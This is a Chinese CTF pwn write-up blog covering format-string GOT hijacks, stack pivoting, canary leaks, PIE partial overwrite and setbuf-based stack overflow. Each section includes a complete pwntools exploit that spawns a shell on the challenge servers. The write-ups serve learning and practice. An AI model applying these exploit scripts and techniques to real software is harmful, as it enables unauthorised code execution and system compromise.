  • fwrite(ptr, 1u, n, s)n来自*(_DWORD *)(264 * v4 + a1 + 4),所以,此时真正往ptr里写的只会有255字节,那letter的总长就是8+255=263 T_T 太阴了,搞得我padding算错了一万次,所以其实每隔264字节,每个264字节的空位只会写入255字节,到时候的padding要在多填充1字节,fuck...因为文件指针是按照传入的长度运行的,传入了255他就只会运行到8+255=263的地方,到了下一次post,再从264 * v4 + a1 + 8的位置开始运行,减去8就又是264的倍数,刚刚好越过偏差的1字节!!! 太阴了,不过这个问题也可以通过动态调试解决...
  • 接下来就是找漏洞,这里直接引用大佬wp里原话,orz orz orz 现在半夜2点了,偷个懒 orz orz orz:
  • post_letter的主要功能是根据用户输入选择一个filter函数(也就是 funcs_8048BB5[v3]这里),并应用该filter函数把letter内容写入到文件fd中。
    2026-04-02T17:28:04.png
    post_letter参数fd是文件/dev/null的句柄,是Linux上的黑洞文件。
    post_letter上存在数组越界访问漏洞,对于用户输入的choice整数变量只做了choice < 3的验证,当choice为负数时,就会访问到filter_array前面的数据,并将其作为一个filter函数调用。那么filter_array的前面是什么呢?是GOT段!
    2026-04-02T17:28:37.png
  • 也就是说,通过数据越界访问,可以调用GOT表上任一个函数!但坏消息是没法构造函数调用时的参数,而只能以程序本身调用filter函数的方式进行传参,也就是传递FILE *、char *、int三个参数。能处理这3个参数的GOT函数不多,而且要用来实现攻击,那选择就更少了,freadfwrite之类首先被排除,最后希望落在setbuf函数上。

setbuf(FILE stream, char buffer)

setbuf函数用于将IO流与缓冲区进行数据同步,这么说比较抽象,直接上代码:

#include <stdio.h>
int main() {
   char buf[BUFSIZ];
   FILE *fd = fopen("/dev/null", "a");
   setbuf(fd, buf);    // 将buf与fd进行数据绑定
   fwrite("AAAA", 1, 4, fd);
   fwrite("BBBB", 1, 4, fd);
   puts(buf);       // 输出AAAABBBB
}

  • 其实就是把原本要写入fd的数据,写入了临时被绑定的缓冲区buf里,因为 stream 会以为缓冲区有 8192 字节这么大,它内部有一个指针_IO_write_ptr在记录写到哪里了。所以每次 fwrite,它就会顺着栈往下接着写,最终实现栈溢出攻击,否则每次都被写入/dev/null而丢弃了。
  • 在上述代码中,没有对缓冲区buf赋值,但通过setbuf将其与绑定fd绑定,从而buf获取了输入到fd中的数据,而且对于多次输入到fd的数据,在buf中是以累计方式存储的,这样可以通过多次输入绕过read函数对输入长度的限制。于是通过setbuf函数来进行栈溢出攻击可以分为2个步骤:

    • 将栈上的buf与fd绑定;
    • 多次向fd写入数据,同时也是在栈上buf写入数据,溢出缓冲区,修改栈帧。
  • 通过上述分析,可以知道letter4是离saved ebp最近的,所以可以把fd绑在letter4上,然后利用letter0letter1来postpaddingrop链。
    经过九九八十一难,EXP:
from pwn import *
from LibcSearcher import *
elf = ELF('./PWN/show1/pwn')
p = remote('pwn.challenge.ctf.show', 28114)
#0x8048c45->输入
#0x8048c80->contents
#p = process('./PWN/show1/pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

funcs_8048BB5_addr=0x0804B048
got_setbuf = elf.got['setbuf']

context(arch='i386', os='linux', log_level='debug')
def add(contents):
    p.sendlineafter(b'> ',b'1')
    p.sendafter(b'Input your contents:',contents)
def post(id,filter):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b'ID (0-4):',str(id).encode())
    p.sendlineafter(b'> ',str(filter).encode())
#先把4个letter的空间开出来
payload0=b'A'*255#padding废料
add(payload0)
payload1=b'A'*13
#payload1=b'A'*29
payload1+=p32(puts_plt)
payload1+=p32(0x8048BD0)
payload1+=p32(puts_got)
payload1+=b'\n'
add(payload1)
add(b'AAAA\n')
add(b'BBBB\n')
add(b'CCCC\n')

setbuf_index = int((got_setbuf - funcs_8048BB5_addr) / 4)
post(4, setbuf_index)
post(0, 0)
post(1, 0)
#context.terminal = ['kitty', '-e']
#gdb.attach(p, )

sleep(1)
p.sendlineafter(b'> ',b'4')
p.recvline()
leak_data=u32(p.recv(4))
print(hex(leak_data))

libc = LibcSearcher("puts", leak_data )
offset_puts = libc.dump("puts")
offset_system = libc.dump("system")
offset_binsh = libc.dump("str_bin_sh")
libc_base = leak_data - offset_puts
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh

payload0=b'A'*255#padding废料
add(payload0)
payload1=b'A'*13
#payload1=b'A'*29
payload1+=p32(system_addr)
payload1+=p32(0x8048BD0)
payload1+=p32(binsh_addr)
payload1+=b'\n'
add(payload1)
add(b'AAAA\n')
add(b'BBBB\n')
add(b'CCCC\n')

setbuf_index = int((got_setbuf - funcs_8048BB5_addr) / 4)
post(4, setbuf_index)
post(0, 0)
post(1, 0)

sleep(1)
p.sendlineafter(b'> ',b'4')

p.interactive()

axb_2019_fmt32——字符串格式化漏洞

  • 这题是字符串格式化漏洞
    2026-04-04T15:09:36.png
  • sprintf(format, "Repeater:%s\n", s)读入字符串到formatprintf(format)存在字符串漏洞,先探测format距离栈顶的offset是多是:
    2026-04-04T15:12:08.png
  • 可以看到,是8,但是我第一次测试的时候,输入了四个A会发现有一个A往前偏了一字节,应该是Repeater:造成的,所以前面要补上一字节,此时偏移量才为8
  • 随后利用%s泄漏出puts函数的地址,算出system函数的地址。
  • 如何利用%nsystem函数地址写回到puts@got来劫持got%n是写入已打印的字符数到后面的地址里,如果我的system地址很大,为0xf7d4fd40,那么就需要在前面打印0xf7d4fd40个字符出来,但是程序设置了alarm(3u),在3秒内大抵是不可能打印出这么多的,这里有两个方法,一个是分位填充,比如说先填充puts@got的低两位,再填充puts@got的高两位,这样需要打印的字符就可以大量减少,或者使用fmtstr_payload函数。

fmtstr_payload 是 pwntools 库中用于自动生成格式化字符串漏洞 Payload 的工具
它的本质其实也是拆分地址、计算输出长度、拼凑 %c 和 %hn

  • 劫持完got后,传入/bin/sh参数就好了,但是由于format中已经存在了Repeater:,如果直接传/bin/sh,就会报错,找不到命令,所以需要传入;/bin/sh,这样,就会先执行Repeater: 再执行 /bin/sh,就算Repeater:报错,也不会影响后续/bin/sh的执行
    exp:

    from pwn import *
    from LibcSearcher import *
    elf = ELF('./PWN/BUU31/pwn')
    libc = ELF('./PWN/BUU31/libc-2.23.so')
    p = remote('node5.buuoj.cn',28347) 
    #p = process('./PWN/BUU31/pwn')
    context(arch='i386', os='linux', log_level='debug') 
    main_addr=0x80485FB
    offset=8
    puts_got = elf.got['puts']
    strlen_got = elf.got['strlen']
    payload=b'B'+p32(puts_got)+b'%8$s'
    p.sendlineafter(b'Please tell me:',payload)
    p.recvuntil(b'Repeater:B')
    p.recv(4)
    put_addr=u32(p.recv(4))
    print(hex(put_addr))
    
    offset_puts = libc.symbols['puts'] 
    offset_system = libc.symbols['system']
    libc_base = put_addr - offset_puts
    system_addr = libc_base + offset_system
    payload1 = b'B' + fmtstr_payload(8,{strlen_got:system_addr},write_size='byte',numbwritten=0xa)
    p.sendlineafter(b'Please tell me:',payload1)
    
    p.sendlineafter(b'Please tell me:',b';/bin/sh\x00')
    p.interactive()
    

axb_2019_fmt64

  • 这题和上面那题一样
    2026-04-05T04:16:00.png
  • 就是有一个点要记一下
  • x64程序的got地址大多以00开头,转换为小段存储后会变成\x00,如果把%s放在payload结尾,那当prinrf解析到\x00后就会停止,导致后续的%s解析不到,因此要把%s放在开头,再加上几字节的padding,把got地址挤到下一个8字节的坑位,此时offset要加1,现在payload以%s开头,就可以顺利解析%s了。
    exp:
from pwn import *
from LibcSearcher import *
elf = ELF('./PWN/BUU32/pwn')
libc = ELF('./PWN/BUU32/libc-2.23.so')
p = remote('node5.buuoj.cn',27722) 
#p = process('./PWN/BUU32/pwn')
context(arch='amd64', os='linux', log_level='debug') 
offset=9
puts_got = elf.got['puts']
strlen_got = elf.got['strlen']
payload=f'%{offset}$s'.encode()+b'BBBB'+p64(puts_got)
p.sendlineafter(b'Please tell me:',payload)
p.recvuntil(b'Repeater:')
puts_addr=p.recv(6)
puts_addr = u64(puts_addr.ljust(8, b'\x00'))
print(hex(puts_addr))

offset_puts = libc.symbols['puts'] 
offset_system = libc.symbols['system']
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system

payload1=fmtstr_payload(8,{strlen_got:system_addr},write_size='byte',numbwritten=0x09)
p.sendlineafter(b'Please tell me:',payload1)
p.sendlineafter(b'Please tell me:',b';/bin/sh\x00')
p.interactive()

actf_2019_babystack——栈迁移

  • 栈迁移+ret2libc
    2026-04-07T04:59:25.png
  • 比较简单,printf("Your message will be saved at %p\n", s);语句直接打印出s的首地址了,到时直接迁移至s这个地址就可以,但是这题我遇到一个问题,就是puts函数的地址为泄漏不出来,虽然puts也是读到 0\x00 后就停止打印,但离谱的是,它的地址是0\x20结尾的啊,又不是0\x00,怎么会打印不出来呢..?最后我泄漏了read做出来了,还有就是这题的payload2记得要栈对齐,因为system 函数内部必定会使用 movaps 指令,如果没有 16 字节对齐,就会直接引发崩溃。
    石山exp:
from pwn import *
from LibcSearcher import *
elf = ELF('./PWN/BUU33/pwn')
libc = ELF('./PWN/BUU33/libc-2.27.so')
p = remote('node5.buuoj.cn',28134) 
#p = process('./PWN/BUU33/pwn')
context(arch='amd64', os='linux', log_level='debug') 
leave_ret_addr=0x0000000000400a18
main_addr=0x4008F6
pop_rdi_ret_addr=0x0000000000400ad3
ret_addr=0x0000000000400709
puts_plt = elf.plt['puts']
read_got = elf.got['read']
print(hex(read_got))
p.sendlineafter(b'>',b'224')
p.recvuntil(b'Your message will be saved at ')
s_addr=p.recv(14).decode()
print(s_addr)
payload1=b'A'*8
#payload1+=p64(ret_addr)
payload1+=p64(pop_rdi_ret_addr)
payload1+=p64(read_got)
payload1+=p64(puts_plt)
payload1+=p64(main_addr)
payload1= payload1.ljust(208, b'A')
payload1+=p64(int(s_addr, 16))
payload1+=p64(leave_ret_addr)
p.sendafter(b'>',payload1)
p.recvline()
leak_data = p.recv(6)
read_addr = u64(leak_data.ljust(8, b'\x00'))
print(hex(read_addr))

offset_read = libc.symbols['read'] 
offset_system = libc.symbols['system']
libc_base = read_addr - offset_read
system_addr = libc_base + offset_system
offset_binsh = next(libc.search(b'/bin/sh'))
binsh_addr = libc_base + offset_binsh

print(f'----------------------{hex(system_addr)}')
print(f'----------------------{hex(binsh_addr)}')

#s_addr_new=int(s_addr, 16)+32-0xD0
p.sendlineafter(b'>',b'224')
p.recvuntil(b'Your message will be saved at ')
s_addr_new=p.recv(14).decode()
print(s_addr_new)
payload2=b'A'*8
payload2+=p64(ret_addr)
payload2+=p64(pop_rdi_ret_addr)
payload2+=p64(binsh_addr)
payload2+=p64(system_addr)
payload2+=p64(main_addr)
payload2= payload2.ljust(208, b'A')
payload2+=p64(int(s_addr_new,16))
payload2+=p64(leave_ret_addr)
p.sendafter(b'What is the content of your message?\n>',payload2)

p.interactive()

linkctf_2018.7_babypie——Partial overwrite

2026-04-07T14:43:19.png
2026-04-07T14:43:43.png
2026-04-07T14:43:56.png

  • 开了piecanary
  • 泄漏canary

    • 反汇编可知在buf[5]处,同时canary的最低位(也就是内存中的第一个字节,因为是小端序)永远是\x00(这样设计就是为了防止程序把canary打印出来),所以如果能输入刚好足够长的数据,把canary最低位的那个\x00覆盖掉,那么 printf 在打印时就不会在这里停下来,而是会顺带把紧跟着的高位7字节canary数据也一起打印出来,到时候再把\x00补回到它的低位在u64即可。
  • Partial overwrite绕过pie:

    • 参考:https://www.cnblogs.com/Junglezt/p/18253924
    • 这里pie的偏移量为A3E,所以需要把低3位,也就是低位的“1.5字节”覆盖为A3E,但是实际上read一次就要读1字节,要覆盖掉低3位16进制,就需要写入2字节(低4位),这样就会出现低4位的最高位那个16进制是不一定正确的,只有1/16的概率蒙对,因为如果原来是以0x2000结尾的基址,那如果把\x3E\x0A覆盖进去,就成0x0A3E了,直接段错误了,这种情况就是不行的,只有当原来是以0x0000结尾的基址,那把\x3E\x0A覆盖进去才是对的。所以,发送 \x3e\x0a,就是在赌这次程序加载时,那个随机的十六进制位刚好是 0

    内存分页机制(Page Alignment)

    • 操作系统给程序分配内存时,是一页一页分配的,一页的大小通常是 4KB(也就是十六进制的 0x1000 字节)。

    这意味着,无论程序被随机加载到哪里,它的基址永远是 0x1000 的整数倍,结尾永远是三个0

    • 所以:虽然地址前面是随机的,但任何代码地址的最低 12 位(也就是十六进制的最后 3 位)是永远固定不变的
    • 这就意味着,后门函数 sub_A3E 的偏移虽然只是 0xA3E,但它在内存中的真实地址,最后三位绝对是 A3E
    • 同一个程序里的函数共享着完全相同的随机基址,假设这次运行,程序被随机加载到了0x555555554000

      • 后门函数地址: 0x555555554A3E
      • 栈上原返回地址: 0x555555554B12
    • 那仅需把最后面的字节改掉就可以了。

    石山exp:

from pwn import *
from LibcSearcher import *
elf = ELF('./PWN/BUU34/pwn')
ret_addr=0x0000000000000297
#p = process('./PWN/BUU34/pwn')
context(arch='amd64', os='linux', log_level='debug') 
while True :
 sleep(0.2)
 p = remote('node5.buuoj.cn',25512) 
 try:
#-----泄漏canary-------
  payload1=b'A'*40+b'@'
  p.sendafter(b'Input your Name:\n',payload1)
  p.recvuntil(b'@')
  canary_leak= b'\x00' + p.recv(7)
  canary=u64(canary_leak)
  print(hex(canary))
#-----绕pie-------
  payload2=b'A'*40+p64(canary)
  payload2+=b'A'*8
  #payload2+=p64(ret_addr)
  payload2+=b'\x3E\x0A'
  p.sendafter(b':\n',payload2)
  p.sendline(b'echo pwn')
  if b'pwn' in p.recvline(timeout=1):
    print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
    p.interactive()
  else:
    p.close()
 except EOFError:
    p.close()

Bugku_canary2

  • 一道简单的canary
    2026-04-10T16:23:24.png
  • 就是通过覆盖\x00来使puts打印出canary
  • 然后ret2libc,由于canary只有在进程第一次启动的时候会生成一次然后存放于TLS,后续重复进main是不会改变的,于是第二次进main就不用再泄漏canary

Canary 是每次进程被创建时生成一次,在整个程序的运行周期内,无论进出多少次 main 函数,Canary 的值都是固定不变的

  • 另外泄漏canary的时候一定不要用sendline啊啊啊啊啊啊啊,这样会多覆盖一字节,因为发送了\n,把canary低2位给搞坏了。
  • 还有就是这题接收fgets时不知道为什么会多打印了一个\x20空格??...何意味(
  • 另外,今天(可能wp更新完后就到第二天凌晨了..( )是岛村小姐的生日,在wp里祝岛村抱月生日快乐!!!!